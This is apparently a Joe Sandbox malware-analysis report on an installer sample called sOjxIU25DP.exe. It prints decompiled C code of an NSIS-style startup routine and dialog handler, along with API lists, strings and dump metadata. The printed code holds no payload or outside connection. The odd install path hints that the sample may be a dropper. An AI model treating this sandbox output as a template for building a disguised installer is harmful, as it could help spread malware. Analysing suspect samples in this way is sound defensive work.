				_t47 = E00406631(7);
				if(_t47 != 0) {
					_t47 =  *_t47(0x1e);
					if(_t47 != 0) {
						 *0x42474f =  *0x42474f | 0x00000040;
					}
				}
				__imp__#17(_t159);
				__imp__OleInitialize(0); // executed
				 *0x424818 = _t47;
				SHGetFileInfoA(0x41fd10, 0, _t164 + 0x38, 0x160, 0); // executed
				E00406228(0x423f40, "NSIS Error");
				_t51 = GetCommandLineA();
				_t160 = "\"C:\\Users\\Arthur\\Desktop\\sOjxIU25DP.exe\"";
				E00406228(_t160, _t51);
				 *0x424740 = 0x400000;
				_t53 = _t160;
				if("\"C:\\Users\\Arthur\\Desktop\\sOjxIU25DP.exe\"" == 0x22) {
					 *(_t164 + 0x14) = 0x22;
					_t53 =  &M0042A001;
				}
				_t55 = CharNextA(E00405BEB(_t53,  *(_t164 + 0x14)));
				 *(_t164 + 0x1c) = _t55;
				while(1) {
					_t122 =  *_t55;
					_t172 = _t122;
					if(_t122 == 0) {
						break;
					}
					__eflags = _t122 - 0x20;
					if(_t122 != 0x20) {
						L13:
						__eflags =  *_t55 - 0x22;
						 *(_t164 + 0x14) = 0x20;
						if( *_t55 == 0x22) {
							_t55 =  &(_t55[1]);
							__eflags = _t55;
							 *(_t164 + 0x14) = 0x22;
						}
						__eflags =  *_t55 - 0x2f;
						if( *_t55 != 0x2f) {
							L25:
							_t55 = E00405BEB(_t55,  *(_t164 + 0x14));
							__eflags =  *_t55 - 0x22;
							if(__eflags == 0) {
								_t55 =  &(_t55[1]);
								__eflags = _t55;
							}
							continue;
						} else {
							_t55 =  &(_t55[1]);
							__eflags =  *_t55 - 0x53;
							if( *_t55 != 0x53) {
								L20:
								__eflags =  *_t55 - ((( *0x40a1e7 << 0x00000008 |  *0x40a1e6) << 0x00000008 |  *0x40a1e5) << 0x00000008 | "NCRC");
								if( *_t55 != ((( *0x40a1e7 << 0x00000008 |  *0x40a1e6) << 0x00000008 |  *0x40a1e5) << 0x00000008 | "NCRC")) {
									L24:
									__eflags =  *((intOrPtr*)(_t55 - 2)) - ((( *0x40a1df << 0x00000008 |  *0x40a1de) << 0x00000008 |  *0x40a1dd) << 0x00000008 | " /D=");
									if( *((intOrPtr*)(_t55 - 2)) == ((( *0x40a1df << 0x00000008 |  *0x40a1de) << 0x00000008 |  *0x40a1dd) << 0x00000008 | " /D=")) {
										 *((char*)(_t55 - 2)) = 0;
										__eflags =  &(_t55[2]);
										E00406228("C:\\Users\\Arthur\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\encolors\\forbedringens",  &(_t55[2]));
										L30:
										_t157 = "C:\\Users\\Arthur\\AppData\\Local\\Temp\\";
										GetTempPathA(0x400, _t157);
										_t59 = E00403430(_t172);
										_t173 = _t59;
										if(_t59 != 0) {
											L33:
											DeleteFileA("1033"); // executed
											_t61 = E00402EF1(_t175,  *(_t164 + 0x20)); // executed
											 *((intOrPtr*)(_t164 + 0x10)) = _t61;
											if(_t61 != 0) {
												L43:
												E00403949();
												__imp__OleUninitialize();
												_t185 =  *((intOrPtr*)(_t164 + 0x10));
												if( *((intOrPtr*)(_t164 + 0x10)) == 0) {
													__eflags =  *0x4247f4;
													if( *0x4247f4 == 0) {
														L67:
														_t63 =  *0x42480c;
														__eflags = _t63 - 0xffffffff;
														if(_t63 != 0xffffffff) {
															 *(_t164 + 0x14) = _t63;
														}
														ExitProcess( *(_t164 + 0x14));
													}
													_t66 = OpenProcessToken(GetCurrentProcess(), "true", _t164 + 0x18);
													__eflags = _t66;
													_t150 = 2;
													if(_t66 != 0) {
														LookupPrivilegeValueA(0, "SeShutdownPrivilege", _t164 + 0x24);
														 *(_t164 + 0x38) = 1;
														 *(_t164 + 0x44) = _t150;
														AdjustTokenPrivileges( *(_t164 + 0x2c), 0, _t164 + 0x28, 0, 0, 0);
													}
													_t67 = E00406631("true");
													__eflags = _t67;
													if(_t67 == 0) {
														L65:
														_t68 = ExitWindowsEx(_t150, 0x80040002);
														__eflags = _t68;
														if(_t68 != 0) {
															goto L67;
														}
														goto L66;
													} else {
														_t70 =  *_t67(0, 0, 0, 0x25, 0x80040002);
														__eflags = _t70;
														if(_t70 == 0) {
															L66:
															E0040140B(9);
															goto L67;
														}
														goto L65;
													}
												}
												E00405944( *((intOrPtr*)(_t164 + 0x10)), 0x200010);
												ExitProcess(2);
											}
											if( *0x424760 == 0) {
												L42:
												 *0x42480c =  *0x42480c | 0xffffffff;
												 *(_t164 + 0x18) = E00403A3B( *0x42480c);
												goto L43;
											}
											_t153 = E00405BEB(_t160, 0);
											if(_t153 < _t160) {
												L39:
												_t182 = _t153 - _t160;
												 *((intOrPtr*)(_t164 + 0x10)) = "Error launching installer";
												if(_t153 < _t160) {
													_t151 = E004058AF(_t185);
													lstrcatA(_t157, "~nsu");
													if(_t151 != 0) {
														lstrcatA(_t157, "A");
													}
													lstrcatA(_t157, ".tmp");
													_t162 = "C:\\Users\\Arthur\\Desktop";
													if(lstrcmpiA(_t157, "C:\\Users\\Arthur\\Desktop") != 0) {
														_push(_t157);
														if(_t151 == 0) {
															E00405892();
														} else {
															E00405815();
														}
														SetCurrentDirectoryA(_t157);
														_t189 = "C:\\Users\\Arthur\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\encolors\\forbedringens"; // 0x43
														if(_t189 == 0) {
															E00406228("C:\\Users\\Arthur\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\encolors\\forbedringens", _t162);
														}
														E00406228(0x425000,  *(_t164 + 0x1c));
														_t137 = "A";
														_t163 = 0x1a;
														 *0x425400 = "A";
														do {
															E004062BB(0, 0x41f910, _t157, 0x41f910,  *((intOrPtr*)( *0x424754 + 0x120)));
															DeleteFileA(0x41f910);
															if( *((intOrPtr*)(_t164 + 0x10)) != 0 && CopyFileA("C:\\Users\\Arthur\\Desktop\\sOjxIU25DP.exe", 0x41f910, 1) != 0) {
																E00406007(_t137, 0x41f910, 0);
																E004062BB(0, 0x41f910, _t157, 0x41f910,  *((intOrPtr*)( *0x424754 + 0x124)));
																_t94 = E004058C7(0x41f910);
																if(_t94 != 0) {
																	CloseHandle(_t94);
																	 *((intOrPtr*)(_t164 + 0x10)) = 0;
																}
															}
															 *0x425400 =  *0x425400 + 1;
															_t163 = _t163 - 1;
														} while (_t163 != 0);
														E00406007(_t137, _t157, 0);
													}
													goto L43;
												}
												 *_t153 = 0;
												_t154 = _t153 + 4;
												if(E00405CAE(_t182, _t153 + 4) == 0) {
													goto L43;
												}
												E00406228("C:\\Users\\Arthur\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\encolors\\forbedringens", _t154);
												E00406228("C:\\Users\\Arthur\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\encolors\\forbedringens\\kibbes\\Chloramide", _t154);
												 *((intOrPtr*)(_t164 + 0x10)) = 0;
												goto L42;
											}
											_t110 = (( *0x40a1bf << 0x00000008 |  *0x40a1be) << 0x00000008 |  *0x40a1bd) << 0x00000008 | " _?=";
											while( *_t153 != _t110) {
												_t153 = _t153 - 1;
												if(_t153 >= _t160) {
													continue;
												}
												goto L39;
											}
											goto L39;
										}
										GetWindowsDirectoryA(_t157, 0x3fb);
										lstrcatA(_t157, "\\Temp");
										_t113 = E00403430(_t173);
										_t174 = _t113;
										if(_t113 != 0) {
											goto L33;
										}
										GetTempPathA(0x3fc, _t157);
										lstrcatA(_t157, "Low");
										SetEnvironmentVariableA("TEMP", _t157);
										SetEnvironmentVariableA("TMP", _t157);
										_t118 = E00403430(_t174);
										_t175 = _t118;
										if(_t118 == 0) {
											goto L43;
										}
										goto L33;
									}
									goto L25;
								}
								_t141 = _t55[4];
								__eflags = _t141 - 0x20;
								if(_t141 == 0x20) {
									L23:
									_t15 = _t164 + 0x20;
									 *_t15 =  *(_t164 + 0x20) | 0x00000004;
									__eflags =  *_t15;
									goto L24;
								}
								__eflags = _t141;
								if(_t141 != 0) {
									goto L24;
								}
								goto L23;
							}
							_t142 = _t55[1];
							__eflags = _t142 - 0x20;
							if(_t142 == 0x20) {
								L19:
								 *0x424800 = 1;
								goto L20;
							}
							__eflags = _t142;
							if(_t142 != 0) {
								goto L20;
							}
							goto L19;
						}
					} else {
						goto L12;
					}
					do {
						L12:
						_t55 =  &(_t55[1]);
						__eflags =  *_t55 - 0x20;
					} while ( *_t55 == 0x20);
					goto L13;
				}
				goto L30;
			}

0x00403471
0x00403475
0x0040347d
0x00403481
0x00403486
0x00403492
0x0040349b
0x004034a0
0x004034a3
0x004034aa
0x004034b1
0x004034b1
0x004034aa
0x004034b3
0x004034b8
0x004034b9
0x004034c5
0x004034c9
0x004034cf
0x004034dd
0x004034e2
0x004034e9
0x004034ed
0x004034f1
0x004034f3
0x004034f3
0x004034f1
0x004034fb
0x00403502
0x00403508
0x0040351e
0x0040352e
0x00403533
0x00403539
0x00403540
0x0040354c
0x00403556
0x00403558
0x0040355a
0x0040355f
0x0040355f
0x0040356f
0x00403575
0x0040363e
0x0040363e
0x00403640
0x00403642
0x00000000
0x00000000
0x0040357e
0x00403581
0x00403589
0x00403589
0x0040358c
0x00403591
0x00403593
0x00403593
0x00403594
0x00403594
0x00403599
0x0040359c
0x0040362e
0x00403633
0x00403638
0x0040363b
0x0040363d
0x0040363d
0x0040363d
0x00000000
0x004035a2
0x004035a2
0x004035a3
0x004035a6
0x004035be
0x004035e9
0x004035eb
0x004035fe
0x00403629
0x0040362c
0x0040364a
0x0040364d
0x00403656
0x0040365b
0x00403661
0x0040366c
0x0040366e
0x00403673
0x00403675
0x004036cd
0x004036d2
0x004036dc
0x004036e3
0x004036e7
0x0040377b
0x0040377b
0x00403780
0x00403786
0x0040378b
0x004038af
0x004038b5
0x00403931
0x00403931
0x00403936
0x00403939
0x0040393b
0x0040393b
0x00403943
0x00403943
0x004038c5
0x004038cd
0x004038cf
0x004038d0
0x004038dd
0x004038f0
0x004038f8
0x004038fc
0x004038fc
0x00403904
0x00403909
0x00403910
0x0040391e
0x00403920
0x00403926
0x00403928
0x00000000
0x00000000
0x00000000
0x00403912
0x00403918
0x0040391a
0x0040391c
0x0040392a
0x0040392c
0x00000000
0x0040392c
0x00000000
0x0040391c
0x00403910
0x0040379a
0x004037a1
0x004037a1
0x004036f3
0x0040376b
0x0040376b
0x00403777
0x00000000
0x00403777
0x004036fc
0x00403700
0x00403736
0x00403736
0x00403738
0x00403740
0x004037b2
0x004037b4
0x004037bb
0x004037c3
0x004037c3
0x004037ce
0x004037d3
0x004037e2
0x004037e6
0x004037e7
0x004037f0
0x004037e9
0x004037e9
0x004037e9
0x004037f6
0x004037fc
0x00403802
0x0040380a
0x0040380a
0x00403818
0x0040381d
0x0040382f
0x00403837
0x0040383d
0x00403849
0x0040384f
0x00403859
0x0040386f
0x00403880
0x00403886
0x0040388d
0x00403890
0x00403896
0x00403896
0x0040388d
0x0040389a
0x004038a0
0x004038a0
0x004038a5
0x004038a5
0x00000000
0x004037e2
0x00403742
0x00403744
0x0040374f
0x00000000
0x00000000
0x00403757
0x00403762
0x00403767
0x00000000
0x00403767
0x0040372b
0x0040372d
0x00403731
0x00403734
0x00000000
0x00000000
0x00000000
0x00403734
0x00000000
0x0040372d
0x0040367d
0x00403689
0x0040368e
0x00403693
0x00403695
0x00000000
0x00000000
0x0040369d
0x004036a5
0x004036b6
0x004036be
0x004036c0
0x004036c5
0x004036c7
0x00000000
0x00000000
0x00000000
0x004036c7
0x00000000
0x0040362c
0x004035ed
0x004035f0
0x004035f3
0x004035f9
0x004035f9
0x004035f9
0x004035f9
0x00000000
0x004035f9
0x004035f5
0x004035f7
0x00000000
0x00000000
0x00000000
0x004035f7
0x004035a8
0x004035ab
0x004035ae
0x004035b4
0x004035b4
0x00000000
0x004035b4
0x004035b0
0x004035b2
0x00000000
0x00000000
0x00000000
0x004035b2
0x00000000
0x00000000
0x00000000
0x00403583
0x00403583
0x00403583
0x00403584
0x00403584
0x00000000
0x00403583
0x00000000

APIs

SetErrorMode.KERNELBASE ref: 00403486
GetVersion.KERNEL32 ref: 0040348C
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004034BF
#17.COMCTL32(?,00000007,00000009,0000000B), ref: 004034FB
OleInitialize.OLE32(00000000), ref: 00403502
SHGetFileInfoA.SHELL32(0041FD10,00000000,?,00000160,00000000,?,00000007,00000009,0000000B), ref: 0040351E
GetCommandLineA.KERNEL32(00423F40,NSIS Error,?,00000007,00000009,0000000B), ref: 00403533
CharNextA.USER32(00000000,"C:\Users\user\Desktop\sOjxIU25DP.exe",00000020,"C:\Users\user\Desktop\sOjxIU25DP.exe",00000000,?,00000007,00000009,0000000B), ref: 0040356F
GetTempPathA.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00000020,?,00000007,00000009,0000000B), ref: 0040366C
GetWindowsDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000007,00000009,0000000B), ref: 0040367D
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000007,00000009,0000000B), ref: 00403689
GetTempPathA.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000007,00000009,0000000B), ref: 0040369D
lstrcatA.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000007,00000009,0000000B), ref: 004036A5
SetEnvironmentVariableA.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000007,00000009,0000000B), ref: 004036B6
SetEnvironmentVariableA.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000007,00000009,0000000B), ref: 004036BE
DeleteFileA.KERNELBASE(1033,?,00000007,00000009,0000000B), ref: 004036D2

Part of subcall function 00406631: GetModuleHandleA.KERNEL32(?,?,?,004034D4,0000000B), ref: 00406643
Part of subcall function 00406631: GetProcAddress.KERNEL32(00000000,?), ref: 0040665E

Part of subcall function 00403A3B: GetUserDefaultUILanguage.KERNELBASE(00000002,76783410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\sOjxIU25DP.exe",00000000), ref: 00403A55
Part of subcall function 00403A3B: lstrlenA.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens,1033,Winterize Setup: Installing,80000001,Control Panel\Desktop\ResourceLocale,00000000,Winterize Setup: Installing,00000000,00000002,76783410), ref: 00403B2B
Part of subcall function 00403A3B: lstrcmpiA.KERNEL32(?,.exe), ref: 00403B3E
Part of subcall function 00403A3B: GetFileAttributesA.KERNEL32(Call), ref: 00403B49
Part of subcall function 00403A3B: LoadImageA.USER32(00000067,00000001,00000000,00000000,00008040,C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens), ref: 00403B92
Part of subcall function 00403A3B: RegisterClassA.USER32(00423EE0), ref: 00403BCF

Part of subcall function 00403949: CloseHandle.KERNEL32(000002C4,C:\Users\user\AppData\Local\Temp\,00403780,?,?,00000007,00000009,0000000B), ref: 0040395B
Part of subcall function 00403949: CloseHandle.KERNEL32(000002E8,C:\Users\user\AppData\Local\Temp\,00403780,?,?,00000007,00000009,0000000B), ref: 0040396F

OleUninitialize.OLE32(?,?,00000007,00000009,0000000B), ref: 00403780
ExitProcess.KERNEL32 ref: 004037A1
GetCurrentProcess.KERNEL32(?,?,00000007,00000009,0000000B), ref: 004038BE
OpenProcessToken.ADVAPI32(00000000), ref: 004038C5
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 004038DD
AdjustTokenPrivileges.ADVAPI32(?,?,?,?,00000000,?,00000000,00000000,00000000), ref: 004038FC
ExitWindowsEx.USER32(00000002,80040002), ref: 00403920
ExitProcess.KERNEL32 ref: 00403943

Part of subcall function 00405944: MessageBoxIndirectA.USER32(0040A230), ref: 0040599F

Strings

NSIS Error, xrefs: 00403524
TMP, xrefs: 004036B9
"C:\Users\user\Desktop\sOjxIU25DP.exe", xrefs: 00403539, 0040353F, 004036F6
.tmp, xrefs: 004037C8
Error launching installer, xrefs: 00403738
C:\Users\user\Desktop\sOjxIU25DP.exe, xrefs: 0040385E
C:\Users\user\AppData\Local\Temp\, xrefs: 00403661, 00403666, 0040367C, 00403688, 00403697, 004036A4, 004036B0, 004036B8, 004037B1, 004037C2, 004037CD, 004037D9, 004037E6, 004037F5, 004038A4
SeShutdownPrivilege, xrefs: 004038D7
1033, xrefs: 004036CD
C:\Users\user\Desktop, xrefs: 004037D3, 004037D8, 00403804
Low, xrefs: 0040369F
Error writing temporary file. Make sure your temp folder is valid., xrefs: 00403475
~nsu, xrefs: 004037AC
TEMP, xrefs: 004036B1
\Temp, xrefs: 00403683
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens, xrefs: 00403651, 00403752, 004037FC, 00403805
", xrefs: 00403594
UXTHEME, xrefs: 004034B3, 004034B8, 004034BE
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens\kibbes\Chloramide, xrefs: 0040375D

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: Process$ExitFileHandle$CloseEnvironmentPathTempTokenVariableWindowslstrcatlstrlen$AddressAdjustAttributesCharClassCommandCurrentDefaultDeleteDirectoryErrorImageIndirectInfoInitializeLanguageLineLoadLookupMessageModeModuleNextOpenPrivilegePrivilegesProcRegisterUninitializeUserValueVersionlstrcmpi
String ID: "$"C:\Users\user\Desktop\sOjxIU25DP.exe"$.tmp$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens$C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\encolors\forbedringens\kibbes\Chloramide$C:\Users\user\Desktop$C:\Users\user\Desktop\sOjxIU25DP.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 2181712934-374380083
Opcode ID: e5d209c8fc32cb5101f9687e3a809c172f5656a205e5deeba932cc3e76310597
Instruction ID: 58fd70292e904df403817bc88459b0d0072f96867834376c9e66c0a03af616e1
Opcode Fuzzy Hash: e5d209c8fc32cb5101f9687e3a809c172f5656a205e5deeba932cc3e76310597
Instruction Fuzzy Hash: 2EC1D7701047806ED7217F659D49B2B3EACEB81706F05447FF582B61E2CB7C8A198B6E

Uniqueness

Uniqueness Score: -1.00%

Function 0040548D Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 282
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E0040548D(struct HWND__* _a4, long _a8, long _a12, unsigned int _a16) {
				struct HWND__* _v8;
				struct tagRECT _v24;
				void* _v32;
				signed int _v36;
				int _v40;
				int _v44;
				signed int _v48;
				int _v52;
				void* _v56;
				void* _v64;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HWND__* _t87;
				struct HWND__* _t89;
				long _t90;
				int _t95;
				int _t96;
				long _t99;
				void* _t102;
				intOrPtr _t113;
				void* _t121;
				intOrPtr _t124;
				struct HWND__* _t128;
				int _t150;
				int _t153;
				long _t157;
				struct HWND__* _t161;
				struct HMENU__* _t163;
				long _t165;
				void* _t166;
				char* _t167;
				char* _t168;
				int _t169;

				_t87 =  *0x423f24; // 0x10440
				_t157 = _a8;
				_t150 = 0;
				_v8 = _t87;
				if(_t157 != 0x110) {
					__eflags = _t157 - 0x405;
					if(_t157 == 0x405) {
						_t121 = CreateThread(0, 0, E00405421, GetDlgItem(_a4, 0x3ec), 0,  &_a8); // executed
						CloseHandle(_t121);
					}
					__eflags = _t157 - 0x111;
					if(_t157 != 0x111) {
						L17:
						__eflags = _t157 - 0x404;
						if(_t157 != 0x404) {
							L25:
							__eflags = _t157 - 0x7b;
							if(_t157 != 0x7b) {
								goto L20;
							}
							_t89 = _v8;
							__eflags = _a12 - _t89;
							if(_a12 != _t89) {
								goto L20;
							}
							_t90 = SendMessageA(_t89, 0x1004, _t150, _t150);
							__eflags = _t90 - _t150;
							_a12 = _t90;
							if(_t90 <= _t150) {
								L36:
								return 0;
							}
							_t163 = CreatePopupMenu();
							AppendMenuA(_t163, _t150, 1, E004062BB(_t150, _t157, _t163, _t150, 0xffffffe1));
							_t95 = _a16;
							__eflags = _a16 - 0xffffffff;
							_t153 = _a16 >> 0x10;
							if(_a16 == 0xffffffff) {
								GetWindowRect(_v8,  &_v24);
								_t95 = _v24.left;
								_t153 = _v24.top;
							}
							_t96 = TrackPopupMenu(_t163, 0x180, _t95, _t153, _t150, _a4, _t150);
							__eflags = _t96 - 1;
							if(_t96 == 1) {
								_t165 = 1;
								__eflags = 1;
								_v56 = _t150;
								_v44 = 0x420d50;
								_v40 = 0x1000;
								_a4 = _a12;
								do {
									_a4 = _a4 - 1;
									_t99 = SendMessageA(_v8, 0x102d, _a4,  &_v64);
									__eflags = _a4 - _t150;
									_t165 = _t165 + _t99 + 2;
								} while (_a4 != _t150);
								OpenClipboard(_t150);
								EmptyClipboard();
								_t102 = GlobalAlloc(0x42, _t165);
								_a4 = _t102;
								_t166 = GlobalLock(_t102);
								do {
									_v44 = _t166;
									_t167 = _t166 + SendMessageA(_v8, 0x102d, _t150,  &_v64);
									 *_t167 = 0xd;
									_t168 = _t167 + 1;
									 *_t168 = 0xa;
									_t166 = _t168 + 1;
									_t150 = _t150 + 1;
									__eflags = _t150 - _a12;
								} while (_t150 < _a12);
								GlobalUnlock(_a4);
								SetClipboardData(1, _a4);
								CloseClipboard();
							}
							goto L36;
						}
						__eflags =  *0x423f0c - _t150; // 0x0
						if(__eflags == 0) {
							ShowWindow( *0x424748, "true");
							__eflags =  *0x4247ec - _t150;
							if( *0x4247ec == _t150) {
								_t113 =  *0x420528; // 0x55bd6c
								E0040534F( *((intOrPtr*)(_t113 + 0x34)), _t150);
							}
							E00404285(1);
							goto L25;
						}
						 *0x420120 = 2;
						E00404285("true");
						goto L20;
					} else {
						__eflags = _a12 - 0x403;
						if(_a12 != 0x403) {
							L20:
							return E00404313(_t157, _a12, _a16);
						}
						ShowWindow( *0x423f10, _t150);
						ShowWindow(_v8, "true");
						E004042E1(_v8);
						goto L17;
					}
				}
				_v48 = _v48 | 0xffffffff;
				_v36 = _v36 | 0xffffffff;
				_t169 = 2;
				_v56 = _t169;
				_v52 = 0;
				_v44 = 0;
				_v40 = 0;
				asm("stosd");
				asm("stosd");
				_t124 =  *0x424754;
				_a12 =  *((intOrPtr*)(_t124 + 0x5c));
				_a8 =  *((intOrPtr*)(_t124 + 0x60));
				 *0x423f10 = GetDlgItem(_a4, 0x403);
				 *0x423f08 = GetDlgItem(_a4, 0x3ee);
				_t128 = GetDlgItem(_a4, 0x3f8);
				 *0x423f24 = _t128;
				_v8 = _t128;
				E004042E1( *0x423f10);
				 *0x423f14 = E00404BD2("true");
				 *0x423f2c = 0;
				GetClientRect(_v8,  &_v24);
				_v48 = _v24.right - GetSystemMetrics(_t169);
				SendMessageA(_v8, 0x101b, 0,  &_v56); // executed
				SendMessageA(_v8, 0x1036, 0x4000, 0x4000); // executed
				if(_a12 >= 0) {
					SendMessageA(_v8, 0x1001, 0, _a12);
					SendMessageA(_v8, 0x1026, 0, _a12);
				}
				if(_a8 >= _t150) {
					SendMessageA(_v8, 0x1024, _t150, _a8);
				}
				_push( *((intOrPtr*)(_a16 + 0x30)));
				_push(0x1b);
				E004042AC(_a4);
				if(( *0x42475c & 0x00000003) != 0) {
					ShowWindow( *0x423f10, _t150);
					if(( *0x42475c & 0x00000002) != 0) {
						 *0x423f10 = _t150;
					} else {
						ShowWindow(_v8, "true");
					}
					E004042E1( *0x423f08);
				}
				_t161 = GetDlgItem(_a4, 0x3ec);
				SendMessageA(_t161, 0x401, _t150, 0x75300000);
				if(( *0x42475c & 0x00000004) != 0) {
					SendMessageA(_t161, 0x409, _t150, _a8);
					SendMessageA(_t161, 0x2001, _t150, _a12);
				}
				goto L36;
			}

0x00405493
0x0040549b
0x0040549e
0x004054a6
0x004054a9
0x00405638
0x0040563e
0x0040565b
0x00405662
0x00405662
0x0040566e
0x00405674
0x00405696
0x00405696
0x0040569c
0x004056f1
0x004056f1
0x004056f4
0x00000000
0x00000000
0x004056f6
0x004056f9
0x004056fc
0x00000000
0x00000000
0x00405706
0x0040570c
0x0040570e
0x00405711
0x0040580e
0x00000000
0x0040580e
0x00405720
0x0040572c
0x00405735
0x0040573c
0x00405740
0x00405743
0x0040574c
0x00405752
0x00405755
0x00405755
0x00405765
0x0040576b
0x0040576e
0x00405779
0x00405779
0x0040577a
0x0040577d
0x00405784
0x0040578b
0x00405793
0x00405793
0x004057a1
0x004057a7
0x004057aa
0x004057aa
0x004057b1
0x004057b7
0x004057c0
0x004057c7
0x004057d0
0x004057d2
0x004057d5
0x004057e4
0x004057e6
0x004057e9
0x004057ea
0x004057ed
0x004057ee
0x004057ef
0x004057ef
0x004057f7
0x00405802
0x00405808
0x00405808
0x00000000
0x0040576e
0x0040569e
0x004056a4
0x004056d2
0x004056d4
0x004056da
0x004056dc
0x004056e5
0x004056e5
0x004056ec
0x00000000
0x004056ec
0x004056a8
0x004056b2
0x00000000
0x00405676
0x00405676
0x0040567c
0x004056b7
0x00000000
0x004056be
0x00405685
0x0040568c
0x00405691
0x00000000
0x00405691
0x00405674
0x004054af
0x004054b3
0x004054bb
0x004054bf
0x004054c2
0x004054c5
0x004054c8
0x004054cb
0x004054cc
0x004054cd
0x004054e6
0x004054e9
0x004054f3
0x00405502
0x0040550a
0x00405512
0x00405517
0x0040551a
0x00405526
0x0040552f
0x00405538
0x0040555a
0x00405560
0x00405571
0x00405576
0x00405584
0x00405592
0x00405592
0x00405597
0x004055a5
0x004055a5
0x004055aa
0x004055ad
0x004055b2
0x004055be
0x004055c7
0x004055d4
0x004055e3
0x004055d6
0x004055db
0x004055db
0x004055ef
0x004055ef
0x00405603
0x0040560c
0x00405615
0x00405625
0x00405631
0x00405631
0x00000000

APIs

GetDlgItem.USER32(?,00000403), ref: 004054EC
GetDlgItem.USER32(?,000003EE), ref: 004054FB
GetClientRect.USER32(?,?), ref: 00405538
GetSystemMetrics.USER32(00000002), ref: 0040553F
SendMessageA.USER32(?,0000101B,00000000,?), ref: 00405560
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 00405571
SendMessageA.USER32(?,00001001,00000000,?), ref: 00405584
SendMessageA.USER32(?,00001026,00000000,?), ref: 00405592
SendMessageA.USER32(?,00001024,00000000,?), ref: 004055A5
ShowWindow.USER32(00000000,?,0000001B,?), ref: 004055C7
ShowWindow.USER32(?,?), ref: 004055DB
GetDlgItem.USER32(?,000003EC), ref: 004055FC
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 0040560C
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 00405625
SendMessageA.USER32(00000000,00002001,00000000,?), ref: 00405631
GetDlgItem.USER32(?,000003F8), ref: 0040550A

Part of subcall function 004042E1: SendMessageA.USER32(?,?,00000001,00404111), ref: 004042EF

GetDlgItem.USER32(?,000003EC), ref: 0040564D
CreateThread.KERNEL32(00000000,00000000,Function_00005421,00000000), ref: 0040565B
CloseHandle.KERNELBASE(00000000), ref: 00405662
ShowWindow.USER32(00000000), ref: 00405685
ShowWindow.USER32(?,?), ref: 0040568C
ShowWindow.USER32(?), ref: 004056D2
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405706
CreatePopupMenu.USER32 ref: 00405717
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 0040572C
GetWindowRect.USER32(?,000000FF), ref: 0040574C
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405765
SendMessageA.USER32(?,0000102D,00000000,?), ref: 004057A1
OpenClipboard.USER32(00000000), ref: 004057B1
EmptyClipboard.USER32 ref: 004057B7
GlobalAlloc.KERNEL32(00000042,?), ref: 004057C0
GlobalLock.KERNEL32(00000000), ref: 004057CA
SendMessageA.USER32(?,0000102D,00000000,?), ref: 004057DE
GlobalUnlock.KERNEL32(00000000), ref: 004057F7
SetClipboardData.USER32(00000001,00000000), ref: 00405802
CloseClipboard.USER32 ref: 00405808

Strings

PB, xrefs: 0040577D

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
